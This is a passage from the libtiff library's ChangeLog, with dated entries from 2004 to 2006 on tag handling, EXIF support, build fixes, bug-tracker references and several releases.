+	incorrectly, tests were not actually testing the uninstalled
+	libtiff.  Now they are.
+
+2006-01-04  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dirinfo.c: Change definitions for TIFFTAG_ICCPROFILE,
+	TIFFTAG_PHOTOSHOP, TIFFTAG_RICHTIFFIPTC, TIFFTAG_XMLPACKET: readcount
+	should be uint32 value.
+
+2006-01-02  Bob Friesenhahn  <bfriesen@simple.dallas.tx.us>
+
+	* html/man/Makefile.am (htmldoc): Fix htmldoc rule so that it can
+	be used if build directory is not the same as source directory.
+	* man/{TIFFGetField.3tiff, TIFFSetField.3tiff}: Documented
+	TIFFTAG_PHOTOSHOP, TIFFTAG_RICHTIFFIPTC, and TIFFTAG_XMLPACKET,
+	and re-sorted tag names in alphabetical order.
+
+2005-12-29  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff 3.8.0 released.
+
+2005-12-28  Bob Friesenhahn  <bfriesen@simple.dallas.tx.us>
+
+	* tools/bmp2tiff.c (main): Fixed warning regarding returning
+	inconsistent types from a condition.
+	* tools/tiffcmp.c (CheckLongTag): Eliminate warning due to printf
+	format.
+	* tools/bmp2tiff.c: Reduce compilation warnings on big-endian CPUs.
+
+2005-12-28  Joris Van Damme  <joris.at.lebbeke@skynet.be>
+
+	* html/{index.html, support.hml, libtiff.html}: Cleaned up HTML
+
+2005-12-27  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tiffio.h: Added VC_EXTRALEAN definition before including
+	windows.h, to reduce the compile time.
+
+2005-12-26  Bob Friesenhahn  <bfriesen@simple.dallas.tx.us>
+
+	* libtiff/tif_jpeg.c: Improve compilation under MinGW.
+
+2005-12-26  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_dir.c, tif_dir.h, tif_dirread.c, tif_dirinfo.c}: 
+	tiffFieldInfo and exifFieldInfo arrays definitions moved back to
+	tif_dirinfo.c; added _TIFFGetFieldInfo() and _TIFFGetExifFieldInfo()
+	private functions to retrieve FieldInfo arrays.
+
+2005-12-24  Bob Friesenhahn  <bfriesen@simple.dallas.tx.us>
+
+	* html/build.html: Added some additional instructions for when
+	building using MSVC under Windows.  Also fixed two HTML syntax
+	errors and used HTML Tidy to tidy up the HTML syntax and
+	formatting.
+
+2005-12-24  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_aux.c, tif_dir.c, tif_dir.h, tif_dirwrite.c,
+	tif_print.c, tif_getimage.c}: Make InkSet, NumberOfInks, DotRange and
+	StoNits tags custom.
+
+2005-12-23  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_aux.c, tif_dir.c, tif_dir.h, tif_print.c}: Make
+	WhitePoint tag custom.
+
+	* libtiff/{tif_dir.h, tiff.h}: More EXIF tags added.
+
+2005-12-23  Joris Van Damme  <joris.at.lebbeke@skynet.be>
+
+	* libtiff/tiffio.h: fixed typo that potentially resulted in 
+	redefininition of USE_WIN32_FILEIO
+
+	* libtiff/*: Added more 'dual-mode' error handling: Done TIFFWarning 
+	calls in core LibTiff.
+
+2005-12-21  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_dir.c, tif_dir.h, tif_print.c}: Make RichTIFFIPTC,
+	Photoshop and ICCProfile tags custom.
+
+2005-12-21  Joris Van Damme  <joris.at.lebbeke@skynet.be>
+
+	* libtiff/*, contrib/*: Added 'dual-mode' error handling, enabling 
+	newer code to get context indicator in error handler and still
+	remain compatible with older code: Done TIFFError calls everywhere 
+	except in tools   
+
+2005-12-20  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiffcp.c: Added many error reporting messages; fixed integer
+	overflow as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=789
+
+2005-12-16  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* contrib/addtiffo/*: Major upgrade by Joris to support subsampled
+	YCbCr images in jpeg compressed TIFF files.
+
+2005-12-14  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiffcp.c: Return non-zero status when reading fails (again).
+
+2005-12-13  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiffcp.c: Return non-zero status when reading fails.
+
+2005-12-12  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_dir.h, tiff.h}: Added more EXIF tags.
+
+2005-12-09  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_dir.c, tif_dir.h, tif_print.c}: Make XMLPacket tag
+	custom.
+
+	* tools/tiffinfo.c: Print EXIF directory contents if exist.
+
+	* libtiff/tiff.h: Few EXIF tag numbers added.
+
+	* libtiff/{tif_dirinfo.c, tif_dirread.c, tif_dir.h, tif_dir.c,
+	tiffio.h}: Preliminary support to read custom directories. New
+	functions: TIFFReadCustomDirectory() and TIFFReadEXIFDirectory().
+
+2005-12-07  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_dirinfo.c, tif_dirread.c, tif_dir.h, tif_dir.c}:
+	More work to implement custom directory read support.
+
+	* libtiff/{tif_aux.c, tif_dirinfo.c, tif_dirread.c, tif_dir.h,
+	tif_dir.c, tif_print.c}: Make YCbCrCoefficients and ReferenceBlackWhite
+	tags custom.
+
+2005-12-05  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dirread.c: One more workaround for broken
+	StripByteCounts tag. Handle the case when StripByteCounts array filled
+	with completely wrong values.
+
+2005-11-30  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dirinfo.c: Release file descriptor in case of failure
+	in the TIFFOpenW() function as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1003
+
+	* libtiff/tif_dirinfo.c: Correctly yse bsearch() and lfind()
+	functions as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1008
+
+2005-11-20  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* tif_open.c, tiff.h, tiffdump.c: Incorporate preliminary support
+	for MS MDI format.
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1002
+
+	* .cvsignore: many files added, and a few update according
+	to suggestion of Brad HArds on tiff mailing list. 
+
+2005-11-03  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/libtiff.def, tiffiop.h, tiffio.h: Made TIFFFreeDirectory
+	public.
+
+2005-10-31  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/fax2tiff.c: Properly calculate sizes of temporary arrays
+	as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=943
+
+	* tools/fax2tiff.c: Added option '-r' to set RowsPerStrip parameter
+	as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=944
+
+	* tools/tiffdump.c: Fixed typeshift and typemask arrays initialization
+	problem as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=946
+
+	* tools/bmp2tiff.c: Fixed possible integer overflow error as per bug
+	
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=965
+
+	* libtiff/tif_dirinfo.c: Make XResolution, YResolution and
+	ResolutionUnit tags modifiable during write process. As per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=977
+
+	* tools/tiffsplit.c: Copy fax related fields over splitted parts
+	as per bug
+	
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=983
+
+2005-10-21  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* tif_dirread.c: Don't try and split single strips into "0" strips
+	in ChopUpSingleUncompressedStrip.  This happens in some degenerate
+	cases (like 1x1 files with stripbytecounts==0 (gtsmall.jp2 embed tiff)
+
+2005-10-20  Joris Van Damme  <joris.at.lebbeke@skynet.be>
+
+	* tif_fax3.c: changed 'at scanline ...' style warning/errors
+	with incorrect use of tif_row, to 'at line ... of
+	strip/tile ...' style
+
+2005-10-15  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* tif_write.c: fixed setting of planarconfig as per bug report
+	on the mailing list from Joris.
+
+2005-10-07  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* configure.ac, configure, nmake.opt, libtiff/{tif_config.h,
+	tif_dirread.c}: Make the default strip size configurable via the
+	--with-default-strip-size and STRIP_SIZE_DEFAULT options.
+
+2005-09-30  Bob Friesenhahn  <bfriesen@simple.dallas.tx.us>
+
+	* html/support.html: Fixed link to documentation on Greg Ward's
+	LogLuv TIFF format.
+
+2005-09-28  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiffdump.c: Fixed crash when reading malformed tags.
+
+2005-09-20  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiff2pdf.c: Added missed 'break' statement as per bug
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=932
+
+2005-09-12  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff 3.7.4 released.
+
+	* {configure, configure.ac, Makefile.am, autogen.sh}: Applied patch
+	from Patrick Welche (all scripts moved in the 'config' and 'm4'
+	directories).
+
+2005-09-12  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_open.c: reintroduce seek to avoid problem on solaris.
+
+2005-09-05  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_dir.c: When prefreeing tv->value in TIFFSetFieldV
+	also set it to NULL to avoid double free when re-setting custom
+	string fields as per: 
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=922
+
+2005-08-12  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_print.c: avoid signed/unsigned warning.
+
+	* libtiff/tif_dirread.c: removed unused variable.
+
+2005-07-30  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_dir.c: Fixed up support for swapping "double complex"
+	values (128 bits as 2 64 bits doubles).  GDAL gcore tests now
+	pass on bigendian (macosx) system.
+
+2005-07-28  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_aux.c, tif_dirread.c, tif_fax3.c, tiffiop.h}: Rename
+	CheckMalloc() function to _TIFFCheckMalloc() and make it available
+	globally as an internal helper routine.
+
+2005-07-27  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dir.c: More improvements in the "pass by value" part of
+	the custom tags handling code.
+
+2005-07-26  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_dirread.c, tif_dirinfo.c}: Do not upcast BYTEs to
+	SHORTs in the TIFFFetchByteArray(). Remove TIFFFetchExtraSamples()
+	function, use TIFFFetchNormalTag() instead as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=831
+
+	Remove TIFFFetchExtraSamples() function, use TIFFFetchNormalTag()
+	instead. 
+
+	* libtiff/tiffconf.h.in: One more attempt to fix the AIX bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=39
+
+2005-07-25  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_print.c: Fixed printing of the BYTE and SBYTE arrays.
+
+	* tools/tiffdump.c: Added support for TIFF_IFD datatype.
+
+2005-07-21  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_write.c: Do not check the PlanarConfiguration field in
+	the TIFFWriteCheck() function in case of single band images (as per
+	TIFF spec).
+
+2005-07-12  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* SConstruct, libtiff/SConstruct: Added the first very preliminary
+	support for SCons software building tool (http://www.scons.org/).
+	This is experimental infrastructure and it will exist along with the
+	autotools mechanics.
+
+2005-07-07  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* port/{getopt.c, strcasecmp.c, strtoul.c}: Update modules from
+	the NetBSD source tree (the old	4-clause BSD license changed to
+	the new 3-clause one).
+
+	* configure.ac, port/lfind.c, libtiff/tiffiop.h: Added lfind()
+	replacement module.
+
+	* port/dummy.c: Make the dummy function static.
+
+2005-07-06  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiffcp.c: Fixed WhitePoint tag copying.
+
+	* libtiff/{tif_dir.c, tif_dir.h, tif_dirinfo.c, tif_print.c}:
+	Make FieldOfViewCotangent, MatrixWorldToScreen, MatrixWorldToCamera,
+	ImageFullWidth, ImageFullLength and PrimaryChromaticities tags custom.
+
+2005-07-04  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff 3.7.3 released.
+
+	* configure, configure.ac: Do not use empty -R option when linking
+	with --enable-rpath.
+
+2005-07-01  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tiffiop.h, tif_open.c}: Added open option 'h' to avoid
+	reading the first IFD when needed. As per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=875
+
+	* libtiff/tif_color.c: Better use of TIFFmin() macro to avoid side
+	effects.
+
+2005-06-23  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiff2pdf.c: Print two characters per loop in the
+	t2p_write_pdf_trailer(). As per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=594
+
+	* tools/tiffgt.c: Use MacOS X OpenGL framework when appropriate. As
+	per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=844
+
+	* acinclude.m4: Updated to latest OpenGL test macros versions.
+
+	* libtiff/tiff.h: Use correct int size on Sparc 64bit/Sun compiler
+	platform. As per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=855
+
+2005-06-14  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dirinfo.c: Added support for ClipPath, XClipPathUnits
+	and YClipPathUnits tags.
+
+2005-06-07  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* contrib/addtiffo/tif_ovrcache.c: Properly extract tile/strip size;
+	use pixel sized shift in contigous case.
+
+2005-06-06  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* contrib/addtiffo/{tif_overview.c, tif_ovrcache.c, tif_ovrcache.h}:
+	Make overviews working for contiguos images.
+
+2005-06-03  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_open.c: Replace runtime endianess check with the compile
+	time one.
+
+	* libtiff/tif_predict.c: Floating point predictor now works on
+	big-endian hosts.
+
+2005-06-01  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dir.c: Use _TIFFsetString() function when read custom
+	ASCII values.
+
+	* libtiff/{tif_dirinfo.c, tif_dir.h, tif_dir.c, tif_print.c}: Make
+	DocumentName, Artist, HostComputer, ImageDescription, Make, Model,
+	Copyright, DateTime, PageName, TextureFormat, TextureWrapModes and
+	TargetPrinter tags custom.
+
+	* libtiff/tif_jpeg.c: Cleanup the codec state depending on
+	TIFF_CODERSETUP flag (to fix memry leaks).
+
+	* libtiff/tif_jpeg.c: Initialize JPEGTables array with zero after
+	allocating.
+
+2005-05-26  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* configure.ac, libtiff/Makefile.am: Added workaround for
+	OpenBSD/MirOS soname problem as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=838
+
+	* libtiff/tif_dirwrite.c: Use tdir_count when calling
+	TIFFCvtNativeToIEEEDouble() in the TIFFWriteDoubleArray() function as
+	per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=845
+
+2005-05-25  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/ppm2tiff.c: Fixed format string when read PPM file header with
+	the fscanf() function. As per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=861
+
+	* libtiff/{tif_dirinfo.c, tif_print.c}: TIFFFetchByteArray() returns
+	uint16 array when fetching the BYTE and SBYTE filds, so we should
+	consider result as pointer to uint16 array and not as array of chars.
+	As per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=831
+
+	* libtiff/tif_dir.c: More efficient custom tags retrieval as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=830
+
+	* libtiff/tif_win32.c: Use FILE_SHARE_READ | FILE_SHARE_WRITE share
+	mode in CreateFile() call as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=829
+
+	* libtiff/Makefile.am: Fixed parallel compilation of the libtiff and
+	libtiffxx libraries as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=826
+
+	* contrib/addtiffo/{tif_overview.c, tif_ovrcache.h}: Sinchronized with
+	GDAL.
+
+2005-05-23  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_jpeg.c: Substantial fix for addtiffo problems with
+	JPEG encoded TIFF files.  Pre-allocate lots of space for jpegtables
+	in directory.
+
+2005-05-22  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_dirread.c: Changed the code that computes 
+	stripbytecount[0] if it appears bogus to ignore if stripoffset[0] is
+	zero. This is a common case with GDAL indicating a "null" tile/strip.
+
+2005-05-17  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiffsplit.c: Check for JPEGTables tag presence before copying.
+
+2005-05-06  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_dirread.c: Applied similar change to 
+	TIFFFetchPerSampleLongs and TIFFFetchPerSampleAnys. 
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=843
+
+	* libtiff/tif_jpeg.c: added LIB_JPEG_MK1 support in JPEGDecodeRaw().
+
+2005-05-06  Andrey Kiselev  <dron@ak4719.spb.edu>
+	* tools/tiff2pdfr.c, man/tiff2pdf.1: Calculate the tile width properly;
+	added new option '-b' to use interpolation in output PDF files (Bruno
+	Ledoux).
+
+2005-05-05  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_dirread.c: Ensure that broken files with too many
+	values in PerSampleShorts work ok instead of crashing.
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=843
+
+2005-04-27  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiffdither.c: Copy the PhotometricInterpretation tag from the
+	input file.
+
+2005-04-15  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_predict.c: Added ability to encode floating point
+	predictor, as per TIFF Technical Note 3.
+
+2005-04-14  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_predict.h, tif_predict.c}: Added ability to decode
+	floating point predictor, as per TIFF Technical Note 3.
+
+2005-04-13  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tiffio.h, tiffiop.h, tif_dir.c, tif_read.c, tif_swab.c}:
+	Added _TIFFSwab24BitData() and TIFFSwabArrayOfLong() functions used to
+	swap 24-bit floating point values.
+
+	* libtiff/tiff.h: Added predictor constants.
+
+2005-04-08  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tiffiop.h, tif_dir.c}: Use uint32 type for appropriate
+	values in _TIFFVSetField() function. Inspired by the bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=816
+
+	* man/TIFFSetField.3tiff: Fixed definition of the TIFFTAG_INKNAMES tag
+	as per bug
+	
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=816
+
+2005-03-30  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_open.c: Do not read header in case the output file
+	should be truncated (Ron).
+
+	* libtiff/{tif_dirinfo.c, tif_config.h.vc}: Use lfind() instead
+	of bsearch() in _TIFFFindFieldInfoByName() function (Ron).
+
+	* libtiff/{tiff.h, tif_dirinfo.c}: Fixes in EXIF tag ordering (Ron).
+
+2005-03-22  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* configure.ac, libtiff/Makefile.am: Use libtool machinery to pass
+	rpath option.
+
+2005-03-21  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_dir.c, tif_print.c}: Handle all data types in custom
+	tags.
+
+2005-03-18  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/dirinfo.c: Added DNG tags.
+
+	* libtiff/{tif_dir.c, tif_print.c}: More improvements in custom tag
+	handling code.
+
+	* libtiff/tiff.h: More comments; added missed DNG tag (LensInfo);
+	added DNG 1.1.0.0 tags.
+
+	* tools/tif2pdf.c: Fixed problem with alpha channel handling as per
+	bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=794
+
+	* man/TIFFGetField.3tiff: Add a note about autoregistered tags.
+
+2005-03-17  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* nmake.opt: Build with Win32 CRT library by default.
+
+	* tools/tiff2ps.c: Fixed typo in page size handling code.
+
+	* libtiff/{tif_dir.c, tif_print.c}: Support for custom tags, passed
+	by value.
+
+	* libtiff/{tiff.h, tif_dirinfo.c, tiffiop.h}: Added EXIF related tags.
+
+2005-03-15  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff 3.7.2 released.
+
+2005-03-09  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiffcmp.c: Added ability to compare the 32-bit integer and
+	floating point data; complain on unsupported bit depths.
+
+2005-03-05  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tif_stream.cxx: Use ios namespace instead of ios_base to support
+	GCC 2.95.
+
+	* libtiff/{tiff.h, tif_fax3.tif, tif_jpeg.c}: Applied correct patch from
+	Lee Howard for HylaFax DCS tag
+	(see http://bugzilla.remotesensing.org/show_bug.cgi?id=771)
+
+2005-03-04  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* configure, configure.ac: Use -rpath option instead of -R as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=732
+
+	* libtiff/{tiff.h, tif_fax3.tif, tif_jpeg.c}: Applied patch from Lee
+	Howard to support a new tag TIFFTAG_FAXDCS (34911) used in HylaFax
+	software. As per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=771
+
+	* nmake.opt, html/build.html: Add more comments, change the config
+	file organization a bit as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=764
+
+	* tools/tiffcmp.c: Use properly sized buffer in short arrays comparison
+	as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=785
+
+2005-03-03  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dirread.c: More logic to guess missed strip size as per
+	bug http://bugzilla.remotesensing.org/show_bug.cgi?id=705
+
+	* tools/fax2ps.c: Replace insecure mktemp() function with the
+	tmpfile() as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=786
+
+2005-02-04  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tiff.h: Changed the int8 definition to be always signed char
+	as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=727
+
+	* libtiff/tiffio.h: Move TIFFOpenW() function into the extern "C"{}
+	block as per bug
+	
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=763
+
+2005-02-03  Bob Friesenhahn  <bfriesen@simple.dallas.tx.us>
+
+	* tools/tiffgt.c: Fix problem on big-endian CPUs so that images
+	display more correctly.  Images display brighter than they should
+	on a Sun workstation.
+
+2005-02-03  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dirread.c: Estimate strip size in case of wrong or
+	suspicious values in the tags. As per bugs
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=705
+
+	and
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=320
+
+	* tools/tiff2ps.c: Fixed problem with page sizes as per bug
+	
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=742
+
+2005-01-31  Bob Friesenhahn  <bfriesen@simple.dallas.tx.us>
+
+	* libtiff/tiff.h (TIFFTAG_TILEWIDTH): Corrected description.
+	(TIFFTAG_TILELENGTH): Corrected description.
+
+2005-01-30  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* configure.ac: Fixes for --with-docdir option as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=759
+
+	* libtiff/tif_open.c: Remove unnesessary TIFFSeekFile() call as per
+	bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=756
+
+	* libtiff/tif_stream.cxx: Fixes for C++ stream interface from
+	Michael Rinne and Edward Lam.
+
+2005-01-15  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* configure.ac: Make the documentation directory location configurable
+	via the --with-docdir option (as suggested by Jeremy C. Reed).
+
+	* libtiff/tif_color.c: Use double as the second argument of pow()
+	function in TIFFCIELabToRGBInit(). As per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=741
+
+	* libtiff/tif_pixarlog.c: Avoid warnings when converting float to
+	integer as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=740
+
+	* libtiff/tif_getimage.c: Always fill the error message buffer in
+	TIFFRGBAImageBegin() as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=739
+	
+2005-01-12  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_jpeg.c: Added ability to read/write the fax specific
+	TIFFTAG_FAXRECVPARAMS, TIFFTAG_FAXSUBADDRESS and TIFFTAG_FAXRECVTIME
+	tags as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=736
+
+	* libtiff/tif_win32.c: Fixed message formatting in functions
+	Win32WarningHandler() and Win32ErrorHandler() as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=735
+
+	* tools/tiff2ps.c: Interpret the -w and -h options independently. As
+	per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=689
+
+2005-01-11  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tiffio.h: Move the color conversion routines in the 'extern
+	"C"' section as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=727
+
+	* libtiff/tiff.h: Restore back the workaround for AIX Visual Age C
+	compiler to avoid double definition of BSD types as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=39	
+
+	* libtiff/Makefile.am: Place the C++ stream API in the separate
+	library called libtiffxx to avoid unneeded dependencies. Probably
+	there will be more C++ API in the future. As per bugs
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=733
+
+	and
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=730
+
+2005-01-05  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiffdump.c: Fixed problem when read broken TIFFs with the
+	wrong tag counts (Dmitry V. Levin, Martin Pitt).
+
+	* configure.ac: Replace --disable-c++ with the --disable-cxx option as
+	per bug http://bugzilla.remotesensing.org/show_bug.cgi?id=730
+
+2004-12-25  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_getimage.c: More fixes for multiple-alpha-channelled
+	RGB-images as per bug
+	
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=713
+
+
+	* tools/tiffset.c: Convert character option to integer value as per
+	bug http://bugzilla.remotesensing.org/show_bug.cgi?id=725
+
+2004-12-20  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff 3.7.1 released.
+
+	* html/tiffset.1.html: Add missed manual page as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=678
+
+	* libtiff/tiff.h: Revert back libtiff data type definitions as per
+	bug http://bugzilla.remotesensing.org/show_bug.cgi?id=687
+
+2004-12-19  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dirread.c: Do not forget about TIFF_VARIABLE2 when
+	checking for tag count in TIFFReadDirectory() function. As per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=713
+
+	* libtiff/{tif_dirread.c, tif_fax3.c}: More argument checking in
+	CheckMallock() function.
+
+	* libtiff/tif_getimage.c: Support for multiple-alpha-channelled
+	RGB-images as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=718
+
+2004-12-15  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_getimage.c: #define A1 bracketing for clean build on
+	SunPro compiler. 
+
+2004-12-11  Bob Friesenhahn  <bfriesen@simple.dallas.tx.us>
+
+	* autogen.sh: aclocal and autoheader should be executed after
+	libtoolize.  Also add '-I .' to aclocal invocation to check
+	current directory for macros.
+
+2004-12-10  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dirwrite.c: Always write TIFFTAG_SUBIFD using LONG type
+	as per bugs
+	
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=703
+
+	and
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=704
+
+2004-12-04  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* nmake.opt: Link with the user32.lib in windowed mode. As per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=697
+
+	* libtiff/tif_win32.c: Use char* strings instead of TCHAR in windowed
+	mode as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=697
+
+	* libtiff/tif_config.in.vc: Removed unneded definitions for
+	read/open/close/lseek functions to fix the
+	
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=680
+	
+2004-12-03  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_dir.c, tif_dirread.c}: Remove TIFFReassignTagToIgnore()
+	call from the TIFFReadDirectory() function. TIFFReassignTagToIgnore
+	must be removed in the future, as it was never used properly. As per
+	bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=692
+
+2004-11-30  Bob Friesenhahn  <bfriesen@simple.dallas.tx.us>
+
+	* libtiff/tif_jpeg.c: Added a work-around in order to allow
+	compilation with the heavily modified version of libjpeg delivered
+	with Cygwin.
+
+2004-11-29  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dir.c: Properly handle tags, which have the uint32
+	counts. As per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=693
+
